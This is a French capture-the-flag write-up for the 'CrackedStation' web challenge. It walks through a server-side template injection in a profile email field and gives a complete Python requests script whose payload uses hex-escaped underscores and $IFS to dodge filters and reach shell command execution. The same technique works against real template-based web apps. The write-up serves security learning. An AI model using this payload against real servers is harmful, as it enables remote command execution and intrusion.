# đ§© Writeup CrackedStation (Web)
## đ”ïžââïž Introduction
Un petit challenge web nommĂ© **CrackedStation**, oĂč le but est simple sur le papier: **lire le contenu du fichier `/flag.txt`**.
Mais Ă©videmment, rien nâest jamais aussi simple⊠et on va vite se rendre compte que le serveur a quelques failles bien croustillantes.
---
## đ Ătape 1 - Lecture du code source
On commence par jeter un Ćil au code source fourni.
AprĂšs quelques minutes de fouille, on tombe sur **une SSTI (Server-Side Template Injection)** dans la page de **profile**.
Câest une de ces injections qui permet d'exĂ©cuter du code sur le serveur. Donc câest plutĂŽt bon pour nous !
---
## đ§ Ătape 2 - Trouver le point dâinjection
La SSTI se trouve dans le **champ email** du profil.
Mais voilĂ le twist:
* Il **doit ĂȘtre une adresse e-mail valide**,
* Et certains caractĂšres sont **interdits**: `<`, `>`, `_`, ainsi que lâespace.
Donc impossible dâenvoyer un payload classique du style `{{7*7}}`.
Il faut ĂȘtre un peu plus crĂ©atif.
```py
command = "ls"
payload = (
"{{''['\\x5f\\x5fclass\\x5f\\x5f']"
".mro()[1]['\\x5f\\x5fsubclasses\\x5f\\x5f']()"
"[-1]('" + command + "',shell=True,stdout=-1).communicate()[0].strip()}}"
)
email = payload + "@mail.com"
```

---
## đ» Ătape 3 - Contourner le navigateur
Autre souci: le navigateur nâaime pas trop les caractĂšres bizarres dans un champ `type="email"`.
RĂ©sultat, impossible dâenvoyer notre payload depuis lâinterface web.
La solution ?
GrĂące Ă **Python** et la librairie **requests** on peut le faire Ă la main.
```py
import requests
import time
username = "test-" + str(int(time.time()))
password = "test"
requests.post("http://HOST:PORT/register", data={
"username": username,
"email": "test@mail.com",
"password": password
})
print(f"Username: {username}")
print(f"Password: {password}")
```
Ici, rien de fou â juste une requĂȘte dâinscription automatique.

---
## đ Ătape 4 - DĂ©clencher la SSTI
DâaprĂšs le comportement de lâapplication, la SSTI ne sâexĂ©cute quâaprĂšs **avoir uploadĂ© un fichier**, puis **visitĂ© la page de profil**.
Lâordre est donc:
1. Créer le compte via le script,
2. Se connecter avec ces identifiants,
3. Uploader un fichier (nâimporte quoi),
4. Visiter la page **Profile**.
Et là , notre payload Python est exécuté cÎté serveur !

---
## đ Ătape 5 - Lecture du flag (sans espaces)
Maintenant quâon sait que la SSTI fonctionne, on tente la lecture du flag.
Classiquement, on ferait:
```bash
cat /flag.txt
```
Mais⊠**les espaces sont interdits**.
Heureusement, `$IFS` (Internal Field Separator) est lĂ :
```bash
cat$IFS/flag.txt
```
Et voilĂ , le serveur nous renvoie le flag !!!
```
NBCTF{Tr1p1âŹ_C0mm4nd_($$T)InjâŹct10n_F0r_Th3_W1N!}
```

---
## đ§ Conclusion
Voici le script complet:
```py
import requests
import time
# --- Commande à exécuter sur le serveur ---
command = "cat$IFS/flag.txt"
# --- Payload SSTI encodé pour contourner les filtres ---
payload = (
"{{''['\\x5f\\x5fclass\\x5f\\x5f']"
".mro()[1]['\\x5f\\x5fsubclasses\\x5f\\x5f']()"
"[-1]('" + command + "',shell=True,stdout=-1).communicate()[0].strip()}}"
)
# --- Email valide contenant le payload ---
email = payload + "@mail.com"
# --- Identifiants temporaires ---
username = "test-" + str(int(time.time()))
password = "test"
# --- Envoi de la requĂȘte d'inscription ---
resp = requests.post("http://HOST:PORT/register", data={
"username": username,
"email": email,
"password": password
})
print("Status code:", resp.status_code)
print(f"Username: {username}")
print(f"Password: {password}")
```
Un challenge que j'ai beaucoup apprécié, mélangeant:
* Une **SSTI** discrĂšte,
* Des **filtres tordus**,
* Et **une bonne dose de recherche** pour trouver l'existance de `$IFS`.
Bref, un trÚs bon exercice pour s'améliorer en web !